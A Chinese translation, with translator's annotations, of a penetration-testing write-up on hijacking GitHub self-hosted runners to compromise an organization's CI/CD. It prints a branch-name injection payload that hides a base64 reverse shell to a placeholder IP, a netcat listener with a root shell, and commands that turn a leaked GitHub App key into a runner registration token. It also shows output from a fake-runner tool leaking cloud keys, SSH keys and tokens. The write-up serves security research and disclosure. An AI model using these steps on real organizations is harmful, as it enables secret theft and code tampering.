翻译:https://www.synacktiv.com/publications/hijacking-github-runners-to-compromise-the-organization ;由于该文章的遣词造句非常拗口,译者会加入注释,来帮助读者更好的理解这篇文章的技术。
0X00 前言
在最近的一次工作中,我们设法侵入了一个企业关于允许注册自托管运行器的GitHub应用程序。事实证明,攻击者可以使用ubuntu-latest标签
注册GitHub运行器,从而访问原本为GitHub提供的运行器指定的命令。使用这种方法,攻击者可以破坏组织的任何工作流程,窃取CI/CD当中的敏感信息或者在不同的存储库中推送恶意代码。
注释:CI/CD,即持续集成(Continuous Integration)和持续部署(Continuous Delivery/Deployment),是一套自动化的软件开发实践,旨在提高软件发布的质量和效率。
持续集成(CI):指的是开发人员提交代码到版本控制仓库后,自动运行构建和测试,以确保这些变更不会破坏现有功能或者引入新的问题。这种实践要求开发人员频繁地将代码变更集成到共享分支中。通过自动化测试来验证每次集成,可以尽早发现和解决冲突和错误,从而避免集成问题的累积。
持续部署(CD):在持续集成的基础上,一旦构建和测试通过,软件的改动会自动部署到生产环境或测试环境。
0X01 初始访问
这次渗透测试始于对目标GitHub组织的开发者访问,目的是评估账户泄露或恶意开发者可能带来的安全问题。为了更好的解释入侵步骤,我们复制了一个现实企业网络的环境。在我们复现环境当中有二个仓库,第一个是脆弱的,第二个包含用于在云提供商上部署部分基础设施(基础设施即代码)的敏感秘密。
敏感仓库包含一个使用CI/CD(持续集成/持续部署)的GitHub工作流程,这些敏感信息可以用于访问云提供商:
GitHub默认提供可以在CI/CD过程中运行代码的免费虚拟机。在前面的示例中,runs-on指令表明工作流程必须在带有ubuntu-latest标签
的运行器上运行。这个标签是表明工作流程应该在GitHub提供的运行器上执行的标签之一。此类标签的完整列表可以在官方文档中找到。它们用于指定工作流程所需的运行器类型和操作系统。ubuntu-latest标签
相当常见。
注释:ubuntu-latest 标签通常在GitHub Actions工作流程中使用,用来指定运行环境或运行器(runner)。GitHub Actions是GitHub提供的一项CI/CD(持续集成和持续部署)服务,允许用户自动化他们的构建、测试和部署流程。
在GitHub Actions工作流程的配置文件(通常是 .github/workflows 目录下的yaml文件)中,使用runs-on 关键词可以指定工作流程应该在哪种类型的环境或运行器上执行。
在前面的示例中,我们还可以观察到,只有当开发者对任何分支执行push操作时,工作流程才会运行:
on:
push:
最后,这个仓库受到分支保护。即使拥有写入权限,也不可能部署带有nord-stream
的恶意工作流来提取不同的秘密,因为启用了required_pull_request_reviews
保护:
$ gh api -H "Accept: application/vnd.github+json" -H "X-GitHub-Api-Version: 2022-11-28" /repos/syncicd/sensitive-repo/branches/main/protection | jq
{
[...]
"required_pull_request_reviews": {
"required_approving_review_count": 1
},
"required_signatures": {
"enabled": true
},
"enforce_admins": {
"enabled": true
},
"allow_force_pushes": {
"enabled": false
},
[...]
在存在漏洞的仓库中,有一个脆弱的工作流程在自托管的运行器上运行。如果你想自己找出漏洞,花时间分析它:
此工作流设置为在发布拉取请求的评论时运行。在第12至22行之间,它会检索与评论关联的拉取请求引用。然后它通过一些JavaScript使用GitHub API获取目标拉取请求的分支引用。最后,在第26行,代码执行了来自拉取请求的代码的检出。
每个工作流触发器都带有一个关联的GitHub上下文,提供有关启动它的事件的全面信息。这包括触发事件的用户的详细信息、分支名称和其他相关的上下文信息。此事件数据的某些组件,如基础仓库名称或拉取请求编号,不能被发起事件的用户操纵或用于注入(例如,在拉取请求的情况下)。这确保了在工作流执行期间由GitHub上下文提供的信息具有一定级别的控制和安全性。可以使用如下表达式语法来访问GitHub上下文:
${{ <context> }}
在运行时,上下文将被关联的值所替换,就像匹配并替换一样。关于这点,在后面的文章中会有更多介绍。
漏洞存在于第25行。代码使用GitHub上下文来获得对拉取请求的引用,该引用对应于拉取请求的分支名称。这个分支名称处于攻击者的控制之下,意味着他们可以用以下分支名称创建一个虚假的拉取请求:
攻击者为了触发易受攻击的代码,就只需要在相关的拉取请求上创建一条评论:
最终将触发相对应的命令,并且完成它:
因为工作流使用含有攻击者可控数据的GitHub上下文,以下代码将被执行:
- name: checkout code
run: |
branch="";{echo,c2ggLWkgPiYgL2Rldi90Y3AveC54LngueC84MCAwPiYxCg==}|{base64,-d}|{bash,-i};echo""
git checkout $branch
echo "Do something"
注释:这段代码是在一个自动化脚本,用于在运行过程中检出(checkout)代码并执行一些操作。这段代码的主要是通过执行一个隐藏的Base64编码命令,去创建一个反向shell,为攻击者提供对运行环境的远程访问能力。
c2ggLWkgPiYgL2Rldi90Y3AveC54LngueC84MCAwPiYxCg==
通过Base64解码为sh -i >& /dev/tcp/x.x.x.x/80 0>&1
即建立了一个到指定IP地址和端口的反向shell。
Base64数据只是一个bash反向shell:
$ rlwrap nc -lvp 80
Listening on 0.0.0.0 80
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
0X02 入侵系统
在这个运行器内,我们在环境变量中找到了一些属于GitHub应用程序当中有趣的代码:
# env
GH_APP_ID=889830
GH_APP_PVK=-----BEGIN RSA PRIVATE KEY-----
MIIE[...]
[...]
以下来自GitHub文档:
GitHub Apps是扩展GitHub功能的工具。GitHub Apps可以在GitHub上执行操作,例如打开问题、评论拉取请求和管理项目。它们也可以基于GitHub上发生的事件在GitHub之外执行操作。例如,当GitHub上打开一个问题时,GitHub App可以在Slack上发布消息。
关于上述代码如果有不太懂的地方可以看看如下注释:
注释:这段代码是一个环境变量的设置示例,通常在脚本或程序执行的上下文中定义,以便在该上下文中使用这些变量。在这里,它定义了两个环境变量:GH_APP_ID 和 GH_APP_PVK。
GH_APP_ID: 这是一个环境变量,代表GitHub应用程序的ID。
GH_APP_PVK: 这个环境变量代表GitHub应用程序的私钥,开始于-----BEGIN RSA PRIVATE KEY-----
这是一个密钥的开始标记。
GitHub App在GitHub内具有身份,并可以拥有相关权限。这些权限可以通过REST API检索,或者通过使用这个GitHub CLI扩展来获取:
$ gh token generate --key leaked-private-key.pem --app-id 889830
{
"token": "ghs_yht[...]",
"expires_at": "2024-05-02T14:00:13Z",
"permissions": {
"organization_self_hosted_runners": "write"
}
}
我们可以看到,这个GitHub app被授予了对organization_self_hosted_runners权限
的写入权限。这个权限可以用来为整个组织创建一个注册令牌:
$ export GH_TOKEN="ghs_yht[...]"
$ gh api --method POST -H "Accept: application/vnd.github+json" -H "X-GitHub-Api-Version: 2022-11-28" /orgs/syncicd/actions/runners/registration-token | jq
{
"token": "BIHLYJS[...]DJN5XA",
"expires_at": "2024-05-02T16:30:22.252+02:00"
}
攻击者可以使用这个令牌在组织级别注册一个自托管的运行器。通过利用像这样已配置的GitHub运行器,攻击者可以注册一个带有属于其他自托管运行器的标签的运行器,有可能劫持一些作业。然而,当GitHub分配作业时,一切都使用不同的密钥加密。尽管攻击者可以监视新的作业并尝试转储运行器的内存以获取秘密,但这种方法既不实用也不方便。
在我们的评估中,我们开发了一个Python脚本来伪造一个GitHub运行器。这个工具的想法基于@frichette_n在GitLab上的原始想法。通过在自托管运行器和GitHub之间设置一个代理,可以逆转注册运行器和获取作业时交换的不同消息。加密部分已经由@karimpwnz在他的文章中完成。
经过一些测试,我们发现可以使用ubuntu-latest标签注册一个运行器,这在本文前面已经提到:
由于运行器是企业注册的,任何包含ubuntu-latest标签的工作流默认情况下都会使用我们的运行器(如果可以使用的话)。如下是该工具的一个演示:
$ gh-hijack-runner.py --registration-token BIHLYJXS[...]5XA --url https://github.com/syncicd --labels ubuntu-latest
[+] Session ID: 26113d38-5474-41dd-a4eb-42a0e77ecb28
[+] AES key: JnowJl[...]Hox6bw==
[+] New Job: deploy (messageId=2)
- SENSITIVE_CLOUD_KEY: cloud_key_ela[...]
- SENSITIVE_SSH_KEY: -----BEGIN OPENSSH PRIVATE KEY-----
b3B[...]
[...]
- system.github.token: ghs_CVe[...]
注释:gh-hijack-runner.py代码地址:https://github.com/synacktiv/gh-hijack-runner/blob/main/gh-hijack-runner.py
使用这种技术,就无需绕过敏感仓库的所有分支保护。敏感仓库的所有敏感信息都会被攻击者获取。当一个合法用户在仓库上推送一些代码时,恶意运行器将会泄露这些敏感信息。值得一提的是,如果获取了企业成员泄露的运行器凭证,该工具也可以这样使用:
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json
[+] Session ID: 3c88c6f7-5764-4121-b9bf-2536ee2539b7
[+] AES key: eLN3rhf3D[...]UHewLw==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqD[...]
注释:
这些凭证可以在现有的运行器中找到:
root@9f8f6f1fdfa6:/actions-runner# ll
-rw-r--r-- 1 root root 266 Apr 21 12:27 .credentials
-rw------- 1 root root 1667 Apr 21 12:27 .credentials_rsaparams
-rw-r--r-- 1 root root 325 Apr 21 12:27 .runner
然而,为了获取作业,运行器将与GitHub建立一个会话,每个运行器一次只能维护一个会话。要创建一个新会话,你需要删除合法运行器建立的当前会话。会话ID可以通过如下命令找到:
root@9f8f6f1fdfa6:/actions-runner# cat _diag/* | grep -i session
[...]
[2024-04-21 18:03:46Z INFO MessageListener] Message '5' received from session 'aab007e0-eedd-4c1b-96b4-a7c2c128c31a'.
最后,我们还可以删除当前会话:
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json --delete-session-id aab007e0-eedd-4c1b-96b4-a7c2c128c31a
[+] Session aab007e0-eedd-4c1b-96b4-a7c2c128c31a.
然而请注意,删除当前会话将导致合法运行器崩溃。这个脚本只会显示秘密并向GitHub返回一个错误,但没有迹象表明在这个过程中使用了恶意运行器:
0X03 结论
在这篇文章中,我们演示了一种GitHub特权提升技术,从对organization_self_hosted_runners权限的写入访问提升。这利用了可以使用ubuntu-latest标签注册一个自托管的运行器的事实。我们开发了一个python脚本,可以用来部署这样的运行器,并泄露目标仓库中所有工作流的所有CI/CD敏感信息。